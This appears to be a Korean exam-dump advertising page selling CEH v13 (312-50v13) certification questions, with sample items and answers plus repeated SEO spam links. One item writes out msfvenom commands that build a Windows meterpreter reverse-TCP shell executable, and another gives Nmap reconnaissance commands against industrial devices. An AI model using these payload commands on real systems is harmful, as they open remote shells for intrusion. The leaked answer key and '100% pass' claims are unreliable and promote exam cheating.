312-50v13높은통과율시험대비자료, 312-50v13시험문제집

참고: PassTIP에서 Google Drive로 공유하는 무료 2026 ECCouncil 312-50v13 시험 문제집이 있습니다: https://drive.google.com/open?id=1GeSlgjfkjup8hR2x3AbIBgaswMuG0r2a

PassTIP에서 출시한 ECCouncil인증 312-50v13덤프는ECCouncil인증 312-50v13시험에 대비하여 IT전문가들이 제작한 최신버전 공부자료로서 시험패스율이 100%입니다.PassTIP는 고품질 ECCouncil인증 312-50v13덤프를 가장 친근한 가격으로 미래의 IT전문가들께 제공해드립니다. PassTIP의 소원대로 멋진 IT전문가도 거듭나세요.

PassTIP는 저희 제품을 구매한 분들이 100%통과율을 보장해드리도록 최선을 다하고 있습니다. PassTIP를 선택한것은 시험패스와 자격증취득을 예약한것과 같습니다. PassTIP의 믿음직한 ECCouncil인증 312-50v13덤프를 공부해보세요.

>> 312-50v13높은 통과율 시험대비자료 <<

최신 업데이트버전 312-50v13높은 통과율 시험대비자료 시험대비 덤프자료

ECCouncil인증 312-50v13시험은 IT업종종사분들에게 널리 알려진 유명한 자격증을 취득할수 있는 시험과목입니다. ECCouncil인증 312-50v13시험은 영어로 출제되는만큼 시험난이도가 많이 높습니다.하지만 PassTIP의ECCouncil인증 312-50v13덤프만 있다면 아무리 어려운 시험도 쉬워집니다. 오르지 못할 산도 정복할수 있는게PassTIP제품의 우점입니다. PassTIP의ECCouncil인증 312-50v13덤프로 시험을 패스하여 자격증을 취득하면 정상에 오를수 있습니다.

최신 CEH v13 312-50v13 무료샘플문제 (Q192-Q197):

질문 # 192
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

- A. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- B. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

정답：C

설명:
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select

exploit/multi/handler.
Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc).
Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

질문 # 193
John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the IDAP service for sensitive information such as usernames. addresses, departmental details, and server names to launch further attacks on the target organization.
What is the tool employed by John to gather information from the IDAP service?

- A. EarthExplorer
- B. Ike-scan
- C. Zabasearch
- D. jxplorer

정답：D

설명:
JXplorer could be a cross platform LDAP browser and editor. it's a standards compliant general purpose LDAP client which will be used to search, scan and edit any commonplace LDAP directory, or any directory service with an LDAP or DSML interface.
It is extremely flexible and can be extended and custom in a very number of the way. JXplorer is written in java, and also the source code and source code build system ar obtainable via svn or as a packaged build for users who wish to experiment or any develop the program.
JX is is available in 2 versions; the free open source version under an OSI Apache two style licence, or within the JXWorkBench Enterprise bundle with inbuilt reporting, administrative and security tools.
JX has been through a number of different versions since its creation in 1999; the foremost recent stable release is version 3.3.1, the August 2013 release.
JXplorer could be a absolutely useful LDAP consumer with advanced security integration and support for the harder and obscure elements of the LDAP protocol. it's been tested on Windows, Solaris, linux and OSX, packages are obtainable for HPUX, AIX, BSD and it should run on any java supporting OS.

질문 # 194
Jim, a professional hacker, targeted an organization that is operating critical Industrial Infrastructure. Jim used Nmap to scan open pons and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered Information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information?

- A. nmap -Pn -sT -p 102 --script s7-info < Target IP >
- B. nmap -Pn -sT -p 46824 < Target IP >
- C. nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >
- D. nmap -Pn -sU -p 44818 --script enip-info < Target IP >

정답：D

설명:
https://nmap.org/nsedoc/scripts/enip-info.html
Example Usage enip-info:
- nmap --script enip-info -sU -p 44818 <host>
This NSE script is used to send a EtherNet/IP packet to a remote device that has TCP 44818 open. The script will send a Request Identity Packet and once a response is received, it validates that it was a proper response to the command that was sent, and then will parse out the data. Information that is parsed includes Device Type, Vendor ID, Product name, Serial Number, Product code, Revision Number, status, state, as well as the Device IP.
This script was written based of information collected by using the the Wireshark dissector for CIP, and EtherNet/IP, The original information was collected by running a modified version of the ethernetip.py script (https://github.com/paperwork/pyenip)

질문 # 195
Which protocol is used for setting up secure channels between two devices, typically in VPNs?

- A. PEM
- B. SET
- C. ppp
- D. IPSEC

정답：D

질문 # 196
Jake, a professional hacker, installed spyware on a target iPhone to spy on the target user's activities. He can take complete control of the target mobile device by jailbreaking the device remotely and record audio, capture screenshots, and monitor all phone calls and SMS messages. What is the type of spyware that Jake used to infect the target device?

- A. DroidSheep
- B. Trident
- C. Zscaler
- D. Androrat

정답：B

질문 # 197
.....

- 높은 통과율 312-50v13높은 통과율 시험대비자료 덤프공부문제 □ 지금☀ www.itdumpskr.com □☀□에서☀ 312-50v13 □☀□를 검색하고 무료로 다운로드하세요312-50v13퍼펙트 인증공부
- 312-50v13최고품질 인증시험 기출자료 □ 312-50v13최신 업데이트버전 덤프문제공부 □ 312-50v13시험대비 공부 □ ➤ www.exampassdump.com □을(를) 열고➠ 312-50v13 □를 입력하고 무료 다운로드를 받으십시오312-50v13퍼펙트 최신 공부자료
- 312-50v13최신 업데이트 시험대비자료 □ 312-50v13시험대비 공부 □ 312-50v13적중율 높은 시험덤프자료 □ 무료 다운로드를 위해 지금➤ www.itdumpskr.com □에서[312-50v13]검색312-50v13퍼펙트 최신 공부자료
- 312-50v13높은 통과율 시험대비자료 덤프공부문제 □ 지금➤ www.itdumpskr.com □에서✔ 312-50v13 □✔□를 검색하고 무료로 다운로드하세요312-50v13최신 업데이트 시험대비자료
- 312-50v13퍼펙트 인증공부 □ 312-50v13자격증공부자료 □ 312-50v13유효한 최신덤프 □ { 312-50v13 }를 무료로 다운로드하려면➡ www.itdumpskr.com □□□웹사이트를 입력하세요312-50v13최신 업데이트 인증공부자료
- 312-50v13높은 통과율 시험대비자료 덤프공부문제 □ 무료로 쉽게 다운로드하려면⇒ www.dumptop.com⇐에서➡ 312-50v13 □를 검색하세요312-50v13유효한 최신덤프
- 시험대비 312-50v13높은 통과율 시험대비자료 덤프공부자료 □ 오픈 웹 사이트⇒ www.itdumpskr.com⇐검색▶ 312-50v13 ◀무료 다운로드312-50v13시험대비 공부
- 최신버전 312-50v13높은 통과율 시험대비자료 완벽한 덤프데모문제 □ ➠ www.koreadumps.com □에서▶ 312-50v13 ◀를 검색하고 무료 다운로드 받기312-50v13시험대비 덤프공부자료
- 312-50v13퍼펙트 최신 공부자료 □ 312-50v13최고품질 인증시험 기출자료 □ 312-50v13시험대비 덤프 최신문제 □ ▶ www.itdumpskr.com ◀웹사이트를 열고{ 312-50v13 }를 검색하여 무료 다운로드312-50v13적중율 높은 시험덤프자료
- 최신버전 312-50v13높은 통과율 시험대비자료 완벽한 덤프데모문제 □ 시험 자료를 무료로 다운로드하려면✔ www.pass4test.net □✔□을 통해▶ 312-50v13 ◀를 검색하십시오312-50v13덤프공부문제
- myportal.utt.edu.tt, bbs.t-firefly.com, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, www.stes.tyc.edu.tw, www.stes.tyc.edu.tw, bbs.t-firefly.com, myportal.utt.edu.tt, Disposable vapes

PassTIP 312-50v13 최신 PDF 버전 시험 문제집을 무료로 Google Drive에서 다운로드하세요: https://drive.google.com/open?id=1GeSlgjfkjup8hR2x3AbIBgaswMuG0r2a